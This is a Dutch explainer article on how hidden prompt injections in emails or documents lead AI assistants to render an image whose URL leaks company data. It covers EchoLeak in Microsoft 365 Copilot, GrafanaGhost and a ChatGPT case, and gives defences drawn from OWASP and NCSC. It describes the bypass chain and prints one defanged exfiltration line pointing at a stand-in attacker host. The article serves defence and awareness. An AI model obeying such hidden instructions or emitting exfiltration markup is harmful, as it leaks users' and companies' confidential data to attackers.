Cyberpediadoor Brain

Gegevenslek via een afbeelding in een AI-assistent

Een verborgen tekst in een e-mail kan een AI-assistent een afbeelding laten tonen die uw gegevens meevoert. EchoLeak, GrafanaGhost, verdediging.

Op deze pagina
  1. 1In 30 seconden
  2. 2Waar gaat het over
  3. 3Directe vragen
  4. 4In de huid van de aanvaller
  5. 5Wat u op het scherm ziet
  6. 6Onder de motorkap
  7. 7Incidentanalyses
  8. 8Bronnen
  9. 9Dit artikel citeren

In 30 seconden

Waar het gebeurt
Wanneer een AI-assistent een inhoud leest die hij niet heeft geschreven, bijvoorbeeld een e-mail, een webpagina of een document[3].
Wat de aanvaller wil
Bedrijfsgegevens laten wegvloeien naar een server die hij beheert[2].
De reflex
Geef de assistent alleen de gegevens die nodig zijn voor de taak, want een informatie die per ongeluk is verstrekt kan later weer in zijn antwoorden opduiken[4].
Plattegrond van het artikel

Waar gaat het over

Bij EchoLeak liet een AI-assistent bedrijfsgegevens naar buiten gaan zonder dat iemand ergens op klikte[1]. Een verborgen tekst in een e-mail of in een document geeft instructies aan de assistent[3]. Die toont dan een afbeelding waarvan het adres de gegevens bevat[3], en de afbeelding wordt automatisch opgehaald[1].

Twee gevallen beschrijven dit mechanisme. Voor EchoLeak, in Microsoft 365 Copilot, beschrijft een artikel van onderzoekers een gegevensexfiltratie op afstand, zonder authenticatie, met één enkele geprepareerde e-mail, door misbruik te maken van automatisch opgehaalde afbeeldingen[1]. Voor GrafanaGhost hebben onderzoekers een kwetsbaarheid openbaar gemaakt waardoor de assistent van Grafana een externe afbeelding kon tonen, die bedrijfsgegevens in een adresparameter naar de aanvaller stuurde[2].

Directe vragen

Moet men klikken opdat de gegevens vertrekken?

Niet bij EchoLeak: de beschreven aanval werkt zonder interactie van de gebruiker[1]. Bij GrafanaGhost heeft Grafana verklaard dat het misbruik een aanzienlijke interactie van de gebruiker zou hebben gevergd[2].

Wat is een indirecte promptinjectie?

Volgens het NCSC (Verenigd Koninkrijk) is dat het geval waarin een aanvaller zonder directe toegang tot het AI-systeem iets schrijft dat uiteindelijk door het systeem wordt verwerkt en voor een instructie wordt aangezien[5]. OWASP rekent tot deze categorie de inhoud van e-mails en bijlagen die door AI-assistenten worden verwerkt, evenals de tekst die in webpagina's, documenten of e-mails is verborgen[3].

Waarom gehoorzaamt de assistent aan een tekst die men niet ziet?

Volgens het NCSC (Verenigd Koninkrijk) passen de huidige grote taalmodellen binnen een prompt geen enkele beveiligingsgrens toe tussen instructies en gegevens[5]. OWASP voegt eraan toe dat documentverwerkingsketens de uitgelezen tekst vaak aan het model doorgeven, zonder rekening te houden met de weergave, zodat een tekst die voor de lezer onzichtbaar is het model toch bereikt[3].

Welke gegevens kunnen weglekken?

OWASP noemt persoonsgegevens, financiële informatie, medische dossiers, vertrouwelijke bedrijfsgegevens, inloggegevens en juridische documenten[4].

Volstaat een filter op verdachte zinnen?

Nee. Volgens OWASP is het filteren van invoer geen beveiligingsgrens: een aanvaller kan een instructie op talloze manieren herformuleren die een blokkeerlijst niet herkent[3]. Het NCSC (Verenigd Koninkrijk) waarschuwt ook voor het blokkeren van inhoud waarvan bekend is dat ze kwaadaardig is, omdat er oneindig veel herformuleringen van een aanval bestaan[5].

Kan dit risico verdwijnen?

Het NCSC (Verenigd Koninkrijk) schat in dat promptinjectie misschien nooit volledig zal worden beperkt, en dat beveiligingsteams moeten weten dat het een restrisico blijft, dat wordt beheerd via ontwerp, bouw en exploitatie[5].

Wat moet het bedrijf beperken?

OWASP noemt drie oorzaken van een overmatige handelingsbevoegdheid van de assistent: te veel functies, te veel machtigingen, te veel autonomie[6]. Elke tool zou alleen de gegevens en de bewerkingen moeten krijgen die hij nodig heeft[3].

In de huid van de aanvaller

De aanvaller heeft geen toegang tot de assistent. Hij schrijft een inhoud die uiteindelijk door de assistent zal worden gelezen: een e-mail, een document, een pagina[5]. Daarin verbergt hij instructies, bijvoorbeeld met tekst in de kleur van de achtergrond, piepklein, bedekt of buiten de pagina geplaatst[3].

Zijn doel is bedrijfsgegevens te verkrijgen op een server die hij beheert[2]. OWASP beschrijft een typisch scenario: een persoonlijke assistent heeft toegang tot de inbox om binnenkomende e-mails samen te vatten. Een geprepareerde e-mail zet de assistent ertoe aan de inbox te doorzoeken op gevoelige informatie en die door te sturen naar het adres van de aanvaller[6]. In dat scenario bevat de door de ontwikkelaar gekozen extensie ook functies om berichten te versturen, terwijl lezen volstaat om samen te vatten[6].

Voor EchoLeak beschrijven de onderzoekers een reeks omzeilingen: de XPIA-classifier (Cross Prompt Injection Attempt) van Microsoft, het verbergen van links (omzeild met de Markdown-syntaxis die reference-style heet), automatisch geladen afbeeldingen en een Microsoft Teams-proxy die door het contentbeveiligingsbeleid was toegestaan[1].

Wat u op het scherm ziet

De geprepareerde tekst is niet te zien: dat is het principe ervan[3]. OWASP wijst erop dat in zijn risicokaarten de gebruikers van een vertrouwde AI voor observability het lek konden veroorzaken zonder het te weten[2].

De exfiltratie loopt via een afbeelding. Het voorbeeld van OWASP is een verborgen afbeeldingstag waarvan het adres de te stelen gegevens bevat[3]. Hieronder staat een geneutraliseerde illustratie van dit principe, die niet werkt:

Fragment
Geneutraliseerde illustratie, niet functioneel.
[Verborgen tekst in een e-mail: opdracht waarin de assistent wordt gevraagd een afbeelding te tonen]
![image](hxxps://serveur-attaquant[.]invalid/image?donnees=[bedrijfsgegevens])

Bij GrafanaGhost kon de kwaadaardige context de assistent ertoe brengen zijn vangrails te negeren en een externe afbeelding te tonen, waardoor de gegevens als adresparameter naar de aanvaller werden gestuurd[2].

Onder de motorkapIT-teams

Het mechanisme bestaat uit drie elementen.

  • De afbeelding wordt opgehaald zonder handeling van de gebruiker: EchoLeak maakte misbruik van automatisch geladen afbeeldingen[1].
  • De gegevens reizen mee in het adres van de afbeelding, als adresparameter[2].
  • De weergave van het antwoord van de assistent wordt het uitvoerkanaal: OWASP rangschikt GrafanaGhost met name onder de onjuiste afhandeling van de uitvoer van het model (LLM05:2025)[2].

De verdediging die van het bedrijf wordt verwacht, betreft deze drie punten.

  • Filteren wat de assistent toont. Voor GrafanaGhost beveelt OWASP aan de externe context te saneren, de uitgaande weergave te beperken en de validatie van adressen te versterken[2]. De controlelijst van OWASP vraagt ook om een sanering van HTML en Markdown bij de weergave[3]. Een vangrailmodel kan het antwoord onderzoeken voordat het wordt weergegeven, ook om exfiltratieopmaak op te sporen, maar het is zelf een model en kan een promptinjectie ondergaan[3].
  • De rechten van de assistent beperken. De auteurs van de EchoLeak-studie trekken als les het principe van de minste rechten, gelaagde verdediging en voortdurende adversariële tests[1]. OWASP geeft voorbeelden: de agent geen extensie geven die de inhoud van een webadres ophaalt als het systeem die niet nodig heeft, en een berichtenextensie beperken tot lezen[6]. OWASP beveelt de goedkeuring door een mens aan voor handelingen met grote impact[6].
  • Scheiden naar herkomst. Het NCSC (Verenigd Koninkrijk) noemt een eenvoudige regel: wanneer een model informatie van een partij verwerkt, zakken zijn rechten naar die van die partij. Een assistent die e-mails van externe personen verwerkt, mag dus geen toegang hebben tot bevoorrechte tools[5].

Het NCSC (Verenigd Koninkrijk) merkt op dat geen enkel product volstaat om promptinjectie uit te bannen, en dat het beste wat men kan hopen is de kans of de impact ervan te verkleinen[5]. Volgens het NCSC (Verenigd Koninkrijk) zouden de beschermingen op ontwerpniveau meer moeten mikken op deterministische vangrails, buiten het model, die de handelingen van het systeem beperken[5]. OWASP beveelt aan deze grenzen te testen met fictieve gegevens en geïnstrumenteerde vervangende tools[3].

Voor de medewerker geeft OWASP aan dat gebruikers het risico zouden moeten begrijpen van het onbedoeld verstrekken van gevoelige gegevens, die vervolgens in de uitvoer van het model kunnen verschijnen[4]. OWASP beveelt aan richtlijnen te geven om te vermijden dat gevoelige informatie wordt ingevoerd[4], en alleen toegang te verlenen tot de gegevens die nodig zijn voor de betrokken gebruiker of het betrokken proces[4].

IncidentanalysesEchte gevallen

EchoLeak in Microsoft 365 Copilot, onderzoek van september 2025

EchoLeak draagt de identificatie CVE-2025-32711. De onderzoekers beschrijven het als een promptinjectie zonder klik in Microsoft 365 Copilot, waarmee gegevensexfiltratie op afstand en zonder authenticatie mogelijk was via één enkele geprepareerde e-mail[1]. Het artikel, op 6 september 2025 op arXiv geplaatst, is gepubliceerd op het AAAI Fall Symposium Series 2025[1].

De beschreven reeks combineert de omzeiling van de XPIA-classifier, de reference-style Markdown-syntaxis, automatisch geladen afbeeldingen en een Teams-proxy die door het contentbeveiligingsbeleid was toegestaan[1]. De auteurs stellen als maatregelen voor: het opdelen van prompts, een sterkere filtering van invoer en uitvoer, toegangscontrole op basis van herkomst en strikt contentbeveiligingsbeleid[1].

GrafanaGhost, april 2026

OWASP dateert de openbaarmaking op 7 april 2026 en de erkenning van een patch op 8 april[2]. Noma Security vond een zwakte in de AI-componenten van Grafana, waardoor het systeem naar externe bronnen met verborgen instructies kon worden gewezen[2]. De assistent kon dan een externe afbeelding tonen, waardoor bedrijfsgegevens als adresparameter naar de aanvaller werden gestuurd[2].

Grafana gaf vervolgens aan dat een probleem met de weergave van Markdown-afbeeldingen snel was verholpen en dat het misbruik een aanzienlijke interactie van de gebruiker zou hebben gevergd[2]. OWASP preciseert dat er geen openbare CVE is toegekend en dat een gedeeltelijke patch op de weergavecomponent is toegepast[2]. Het gaat om een openbaarmaking van onderzoek[2].

ChatGPT en persoonsgegevens, mei 2024

In een artikel dat op 31 mei 2024 is geplaatst, meldt de auteur dat ChatGPT 4 en 4o gevoelig waren voor een promptinjectie waarmee een aanvaller persoonsgegevens van gebruikers kon exfiltreren[7]. Volgens hem werkte de aanval zonder tool van derden en waren alle gebruikers toen betrokken[7]. De geheugenfunctie van ChatGPT verergerde de kwetsbaarheid, omdat de aanvaller de gebruiker daarmee in de gaten kon laten houden om de gewenste gegevens te verkrijgen[7].

Bronnen

  1. arXiv, “EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System”, 6 september 2025. https://arxiv.org/abs/2509.10540 (geraadpleegd op 14 november 2026)
  2. OWASP, “OWASP GenAI Exploit Round-up Report Q1 2026”, 14 april 2026. https://genai.owasp.org/2026/04/14/owasp-genai-exploit-round-up-report-q1-2026/ (geraadpleegd op 14 november 2026)
  3. OWASP, “LLM Prompt Injection Prevention Cheat Sheet”. https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html (geraadpleegd op 14 november 2026)
  4. OWASP, “LLM02:2025 Sensitive Information Disclosure”, 10 april 2024. https://genai.owasp.org/llmrisk/llm022025-sensitive-information-disclosure/ (geraadpleegd op 14 november 2026)
  5. NCSC (Royaume-Uni), “Prompt injection is not SQL injection (it may be worse)”, 8 december 2025. https://www.ncsc.gov.uk/blog-post/prompt-injection-is-not-sql-injection (geraadpleegd op 14 november 2026)
  6. OWASP, “LLM06:2025 Excessive Agency”, 10 april 2024. https://genai.owasp.org/llmrisk/llm062025-excessive-agency/ (geraadpleegd op 14 november 2026)
  7. arXiv, “Exfiltration of personal information from ChatGPT via prompt injection”, 31 mei 2024. https://arxiv.org/abs/2406.00199 (geraadpleegd op 14 november 2026)